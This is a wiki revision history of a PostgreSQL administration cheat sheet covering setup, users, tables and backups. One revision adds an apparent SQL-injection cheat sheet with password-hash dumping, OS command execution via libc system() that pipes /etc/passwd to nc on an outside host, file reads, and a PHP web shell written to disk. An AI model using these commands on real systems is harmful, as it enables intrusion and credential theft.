Postgresql Cheat Sheet - Revision history

Busk at 21:50, 9 September 2019

2019-09-09T21:50:18Z

Busk at 19:38, 30 July 2019

2019-07-30T19:38:40Z

Busk at 16:02, 30 July 2019

2019-07-30T16:02:41Z

Busk at 15:50, 18 July 2019

2019-07-18T15:50:12Z

Busk: Created page with "# Postgres Cheatsheet This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<"..."

2019-07-17T23:27:26Z

Created page with "# Postgres Cheatsheet This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<"..."

New page

# Postgres Cheatsheet

This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<" and ">", should be replaced with a name you choose. Postgres has multiple shortcut functions, starting with a forward slash, "\". Any SQL command that is not a shortcut, must end with a semicolon, ";". You can use the keyboard UP and DOWN keys to scroll the history of previous commands you've run.

## Setup

##### installation, Ubuntu
http://www.postgresql.org/download/linux/ubuntu/
https://help.ubuntu.com/community/PostgreSQL
``` shell
sudo echo "deb http://apt.postgresql.org/pub/repos/apt/ wily-pgdg main" > \
/etc/apt/sources.list.d/pgdg.list
wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -
sudo apt-get update
sudo apt-get install -y postgresql-9.5 postgresql-client-9.5 postgresql-contrib-9.5

sudo su - postgres
psql
```

##### connect
http://www.postgresql.org/docs/current/static/app-psql.html
```sql
psql

psql -U <username> -d <database> -h <hostname>

psql --username=<username> --dbname=<database> --host=<hostname>
```

##### disconnect
```sql
\q
\!
```

##### clear the screen
```sql
(CTRL + L)
```

##### info
```sql
\conninfo
```

##### configure

http://www.postgresql.org/docs/current/static/runtime-config.html

```shell
sudo nano $(locate -l 1 main/postgresql.conf)
sudo service postgresql restart
```

##### debug logs
```shell
# print the last 24 lines of the debug log
sudo tail -24 $(find /var/log/postgresql -name 'postgresql-*-main.log')
```
 

## Recon

##### show version
```
SHOW SERVER_VERSION;
```

##### show system status
```sql
\conninfo
```

##### show environmental variables
```sql
SHOW ALL;
```

##### list users
```sql
SELECT rolname FROM pg_roles;
```

##### show current user
```sql
SELECT current_user;
```

##### show current user's permissions
```
\du
```

##### list databases
```sql
\l
```

##### show current database
```sql
SELECT current_database();
```

##### show all tables in database
```sql
\dt
```

##### list functions
```sql
\df <schema>
```
 

## Databases

##### list databasees
```sql
\l
```

##### connect to database
```sql
\c <database_name>
```

##### show current database
```sql
SELECT current_database();
```

##### create database
http://www.postgresql.org/docs/current/static/sql-createdatabase.html
```sql
CREATE DATABASE <database_name> WITH OWNER <username>;
```
##### delete database
http://www.postgresql.org/docs/current/static/sql-dropdatabase.html
```sql
DROP DATABASE IF EXISTS <database_name>;
```

##### rename database
http://www.postgresql.org/docs/current/static/sql-alterdatabase.html
```sql
ALTER DATABASE <old_name> RENAME TO <new_name>;
```
 

## Users

##### list roles
```sql
SELECT rolname FROM pg_roles;
```

##### create user
http://www.postgresql.org/docs/current/static/sql-createuser.html
```sql
CREATE USER <user_name> WITH PASSWORD '<password>';
```

##### drop user
http://www.postgresql.org/docs/current/static/sql-dropuser.html
```sql
DROP USER IF EXISTS <user_name>;
```

##### alter user password
http://www.postgresql.org/docs/current/static/sql-alterrole.html
```sql
ALTER ROLE <user_name> WITH PASSWORD '<password>';
```
 

## Permissions

##### become the postgres user, if you have permission errors
```shell
sudo su - postgres
psql
```

##### grant all permissions on database
http://www.postgresql.org/docs/current/static/sql-grant.html
```sql
GRANT ALL PRIVILEGES ON DATABASE <db_name> TO <user_name>;
```

##### grant connection permissions on database
```sql
GRANT CONNECT ON DATABASE <db_name> TO <user_name>;
```

##### grant permissions on schema
```sql
GRANT USAGE ON SCHEMA public TO <user_name>;
```

##### grant permissions to functions
```sql
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO <user_name>;
```

##### grant permissions to select, update, insert, delete, on a all tables
```sql
GRANT SELECT, UPDATE, INSERT ON ALL TABLES IN SCHEMA public TO <user_name>;
```

##### grant permissions, on a table
```sql
GRANT SELECT, UPDATE, INSERT ON <table_name> TO <user_name>;
```

##### grant permissions, to select, on a table
```sql
GRANT SELECT ON ALL TABLES IN SCHEMA public TO <user_name>;
```
 

## Schema

##### list schemas
```sql
\dn

SELECT schema_name FROM information_schema.schemata;

SELECT nspname FROM pg_catalog.pg_namespace;
```

##### create schema
http://www.postgresql.org/docs/current/static/sql-createschema.html
```sql
CREATE SCHEMA IF NOT EXISTS <schema_name>;
```

##### drop schema
http://www.postgresql.org/docs/current/static/sql-dropschema.html
```sql
DROP SCHEMA IF EXISTS <schema_name> CASCADE;
```
 

## Tables

##### list tables, in current db
```sql
\dt

SELECT table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;
```

##### list tables, globally
```sql
\dt *.*.

SELECT * FROM pg_catalog.pg_tables
```

##### list table schema
```sql
\d <table_name>
\d+ <table_name>

SELECT column_name, data_type, character_maximum_length
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = '<table_name>';
```

##### create table
http://www.postgresql.org/docs/current/static/sql-createtable.html
```sql
CREATE TABLE <table_name>(
<column_name> <column_type>,
<column_name> <column_type>
);
```

##### create table, with an auto-incrementing primary key
```sql
CREATE TABLE <table_name> (
<column_name> SERIAL PRIMARY KEY
);
```

##### delete table
http://www.postgresql.org/docs/current/static/sql-droptable.html
```sql
DROP TABLE IF EXISTS <table_name> CASCADE;
```
 

## Columns

##### add column
http://www.postgresql.org/docs/current/static/sql-altertable.html
```sql
ALTER TABLE <table_name> IF EXISTS
ADD <column_name> <data_type> [<constraints>];
```

##### update column
```sql
ALTER TABLE <table_name> IF EXISTS
ALTER <column_name> TYPE <data_type> [<constraints>];
```

##### delete column
```sql
ALTER TABLE <table_name> IF EXISTS
DROP <column_name>;
```

##### update column to be an auto-incrementing primary key
```sql
ALTER TABLE <table_name>
ADD COLUMN <column_name> SERIAL PRIMARY KEY;
```

##### insert into a table, with an auto-incrementing primary key
```sql
INSERT INTO <table_name>
VALUES (DEFAULT, <value1>);

INSERT INTO <table_name> (<column1_name>,<column2_name>)
VALUES ( <value1>,<value2> );
```
 

## Data

##### read all data
http://www.postgresql.org/docs/current/static/sql-select.html
```sql
SELECT * FROM <table_name>;
```

##### read one row of data
```sql
SELECT * FROM <table_name> LIMIT 1;
```

##### search for data
```sql
SELECT * FROM <table_name> WHERE <column_name> = <value>;
```

##### insert data
http://www.postgresql.org/docs/current/static/sql-insert.html
```sql
INSERT INTO <table_name> VALUES( <value_1>, <value_2> );
```

##### edit data
http://www.postgresql.org/docs/current/static/sql-update.html
```sql
UPDATE <table_name>
SET <column_1> = <value_1>, <column_2> = <value_2>
WHERE <column_1> = <value>;
```

##### delete all data
http://www.postgresql.org/docs/current/static/sql-delete.html
```sql
DELETE FROM <table_name>;
```

##### delete specific data
```sql
DELETE FROM <table_name>
WHERE <column_name> = <value>;
```
 

## Scripting

##### run local script, on remote host
http://www.postgresql.org/docs/current/static/app-psql.html
```shell
psql -U <username> -d <database> -h <host> -f <local_file>

psql --username=<username> --dbname=<database> --host=<host> --file=<local_file>
```

##### backup database data, everything
http://www.postgresql.org/docs/current/static/app-pgdump.html
```shell
pg_dump <database_name>

pg_dump <database_name>
```

##### backup database, only data
```shell
pg_dump -a <database_name>

pg_dump --data-only <database_name>
```

##### backup database, only schema
```shell
pg_dump -s <database_name>

pg_dump --schema-only <database_name>
```

##### restore database data
http://www.postgresql.org/docs/current/static/app-pgrestore.html
```shell
pg_restore -d <database_name> -a <file_pathway>

pg_restore --dbname=<database_name> --data-only <file_pathway>
```

##### restore database schema
```shell
pg_restore -d <database_name> -s <file_pathway>

pg_restore --dbname=<database_name> --schema-only <file_pathway>
```

##### export table into CSV file
http://www.postgresql.org/docs/current/static/sql-copy.html
```sql
\copy <table_name> TO '<file_path>' CSV
```

##### export table, only specific columns, to CSV file
```sql
\copy <table_name>(<column_1>,<column_1>,<column_1>) TO '<file_path>' CSV
```

##### import CSV file into table
http://www.postgresql.org/docs/current/static/sql-copy.html
```sql
\copy <table_name> FROM '<file_path>' CSV
```

##### import CSV file into table, only specific columns
```sql
\copy <table_name>(<column_1>,<column_1>,<column_1>) FROM '<file_path>' CSV
```
 

## Debugging

http://www.postgresql.org/docs/current/static/using-explain.html

http://www.postgresql.org/docs/current/static/runtime-config-logging.html
 

## Advanced Features
http://www.tutorialspoint.com/postgresql/postgresql_constraints.htm

← Older revision		Revision as of 21:50, 9 September 2019
Line 1:		Line 1:
		+	# Commands
		+
		+	```
		+	SELECT Table_Name, Column_Name
		+	FROM INFORMATION_SCHEMA.COLUMNS
		+	WHERE TABLE_CATALOG = 'YOUR_DATABASE'
		+	AND COLUMN_NAME LIKE '%YOUR_COLUMN%'
		+	```
		+
		+
	# Postgres Cheatsheet		# Postgres Cheatsheet

← Older revision		Revision as of 19:38, 30 July 2019
Line 3:		Line 3:
	This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<" and ">", should be replaced with a name you choose. Postgres has multiple shortcut functions, starting with a forward slash, "\". Any SQL command that is not a shortcut, must end with a semicolon, ";". You can use the keyboard UP and DOWN keys to scroll the history of previous commands you've run.		This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<" and ">", should be replaced with a name you choose. Postgres has multiple shortcut functions, starting with a forward slash, "\". Any SQL command that is not a shortcut, must end with a semicolon, ";". You can use the keyboard UP and DOWN keys to scroll the history of previous commands you've run.

		+
		+	## Slash Commands
		+
		+	```
		+	General
		+	\c[onnect] [DBNAME\|- [USER]]
		+	connect to new database (currently "pizzastore")
		+	\cd [DIR] change the current working directory
		+	\copyright show PostgreSQL usage and distribution terms
		+	\encoding [ENCODING]
		+	show or set client encoding
		+	\h [NAME] help on syntax of SQL commands, * for all commands
		+	\q quit psql
		+	\set [NAME [VALUE]]
		+	set internal variable, or list all if no parameters
		+	\timing toggle timing of commands (currently off)
		+	\unset NAME unset (delete) internal variable
		+	\! [COMMAND] execute command in shell or start interactive shell
		+
		+	Query Buffer
		+	\e [FILE] edit the query buffer (or file) with external editor
		+	\g [FILE] send query buffer to server (and results to file or \|pipe)
		+	\p show the contents of the query buffer
		+	\r reset (clear) the query buffer
		+	\s [FILE] display history or save it to file
		+	\w FILE write query buffer to file
		+
		+	Input/Output
		+	\echo [STRING] write string to standard output
		+	\i FILE execute commands from file
		+	\o [FILE] send all query results to file or \|pipe
		+	\qecho [STRING]
		+	write string to query output stream (see \o)
		+
		+	Informational
		+	\d [NAME] describe table, index, sequence, or view
		+	\d{t\|i\|s\|v\|S} [PATTERN] (add "+" for more detail)
		+	list tables/indexes/sequences/views/system tables
		+	\da [PATTERN] list aggregate functions
		+	\db [PATTERN] list tablespaces (add "+" for more detail)
		+	\dc [PATTERN] list conversions
		+	\dC list casts
		+	\dd [PATTERN] show comment for object
		+	\dD [PATTERN] list domains
		+	\df [PATTERN] list functions (add "+" for more detail)
		+	\dg [PATTERN] list groups
		+	\dn [PATTERN] list schemas (add "+" for more detail)
		+	\do [NAME] list operators
		+	\dl list large objects, same as \lo_list
		+	\dp [PATTERN] list table, view, and sequence access privileges
		+	\dT [PATTERN] list data types (add "+" for more detail)
		+	\du [PATTERN] list users
		+	\l list all databases (add "+" for more detail)
		+	\z [PATTERN] list table, view, and sequence access privileges (same as \dp)
		+
		+	Formatting
		+	\a toggle between unaligned and aligned output mode
		+	\C [STRING] set table title, or unset if none
		+	\f [STRING] show or set field separator for unaligned query output
		+	\H toggle HTML output mode (currently off)
		+	\pset NAME [VALUE]
		+	set table output option
		+	(NAME := {format\|border\|expanded\|fieldsep\|footer\|null\|
		+	recordsep\|tuples_only\|title\|tableattr\|pager})
		+	\t show only rows (currently off)
		+	\T [STRING] set HTML <table> tag attributes, or unset if none
		+	\x toggle expanded output (currently off)
		+
		+	Copy, Large Object
		+	\copy ... perform SQL COPY with data stream to the client host
		+	\lo_export LOBOID FILE
		+	\lo_import FILE [COMMENT]
		+	\lo_list
		+	\lo_unlink LOBOID large object operations
		+	```

	## Common Commands		## Common Commands

← Older revision		Revision as of 16:02, 30 July 2019
Line 3:		Line 3:
	This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<" and ">", should be replaced with a name you choose. Postgres has multiple shortcut functions, starting with a forward slash, "\". Any SQL command that is not a shortcut, must end with a semicolon, ";". You can use the keyboard UP and DOWN keys to scroll the history of previous commands you've run.		This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<" and ">", should be replaced with a name you choose. Postgres has multiple shortcut functions, starting with a forward slash, "\". Any SQL command that is not a shortcut, must end with a semicolon, ";". You can use the keyboard UP and DOWN keys to scroll the history of previous commands you've run.

		+
		+	## Common Commands
		+
		+	```
		+	Version SELECT version()
		+	Comments SELECT 1; –comment
		+	SELECT /comment/1;
		+	Current User SELECT user;
		+	SELECT current_user;
		+	SELECT session_user;
		+	SELECT usename FROM pg_user;
		+	SELECT getpgusername();
		+	List Users SELECT usename FROM pg_user
		+	List Password Hashes SELECT usename, passwd FROM pg_shadow — priv
		+	Password Cracker MDCrack can crack PostgreSQL’s MD5-based passwords.
		+	List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
		+	List DBA Accounts SELECT usename FROM pg_user WHERE usesuper IS TRUE
		+	Current Database SELECT current_database()
		+	List Databases SELECT datname FROM pg_database
		+	List Columns SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
		+	List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
		+	Find Tables From Column Name If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
		+	Select Nth Row SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
		+	SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
		+	Select Nth Char SELECT substr(‘abcd’, 3, 1); — returns c
		+	Bitwise AND SELECT 6 & 2; — returns 2
		+	SELECT 6 & 1; –returns 0
		+	ASCII Value -> Char SELECT chr(65);
		+	Char -> ASCII Value SELECT ascii(‘A’);
		+	Casting SELECT CAST(1 as varchar);
		+	SELECT CAST(’1′ as int);
		+	String Concatenation SELECT ‘A’ \|\| ‘B’; — returnsAB
		+	If Statement IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead.
		+	Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
		+	Avoiding Quotes SELECT CHR(65)\|\|CHR(66); — returns AB
		+	Time Delay SELECT pg_sleep(10); — postgres 8.2+ only
		+	CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here .
		+	Make DNS Requests Generally not possible in postgres. However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
		+	SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
		+	Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
		+
		+	Command Execution CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd \| nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
		+	Local File Access CREATE TABLE mydata(t text);
		+	COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
		+	…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
		+	…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
		+	DROP TABLE mytest mytest;Write to a file:
		+	CREATE TABLE mytable (mycol text);
		+	INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
		+	COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you won’t be able to write to the web root, but it’s always work a try.
		+	– priv user can also read/write files by mapping libc functions
		+
		+	Hostname, IP Address SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
		+	SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
		+	Create Users CREATE USER test1 PASSWORD ‘pass1′; — priv
		+	CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
		+	Drop Users DROP USER test1; — priv
		+	Make User DBA ALTER USER test1 CREATEUSER CREATEDB; — priv
		+	Location of DB files SELECT current_setting(‘data_directory’); — priv
		+	SELECT current_setting(‘hba_file’); — priv
		+	Default/System Databases template0
		+	template1
		+	```

	##		##

← Older revision		Revision as of 15:50, 18 July 2019
Line 3:		Line 3:
	This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<" and ">", should be replaced with a name you choose. Postgres has multiple shortcut functions, starting with a forward slash, "\". Any SQL command that is not a shortcut, must end with a semicolon, ";". You can use the keyboard UP and DOWN keys to scroll the history of previous commands you've run.		This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<" and ">", should be replaced with a name you choose. Postgres has multiple shortcut functions, starting with a forward slash, "\". Any SQL command that is not a shortcut, must end with a semicolon, ";". You can use the keyboard UP and DOWN keys to scroll the history of previous commands you've run.

		+
		+	##
		+	Get trigger src
		+	```
		+	select prosrc from pg_trigger,pg_proc where
		+	pg_proc.oid=pg_trigger.tgfoid
		+	and pg_trigger.tgname = 'jtrigger';
		+	```

	## Setup		## Setup